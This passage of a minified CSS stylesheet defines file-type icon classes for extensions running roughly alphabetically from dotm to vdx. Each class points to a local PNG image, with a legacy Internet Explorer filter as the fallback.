\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none 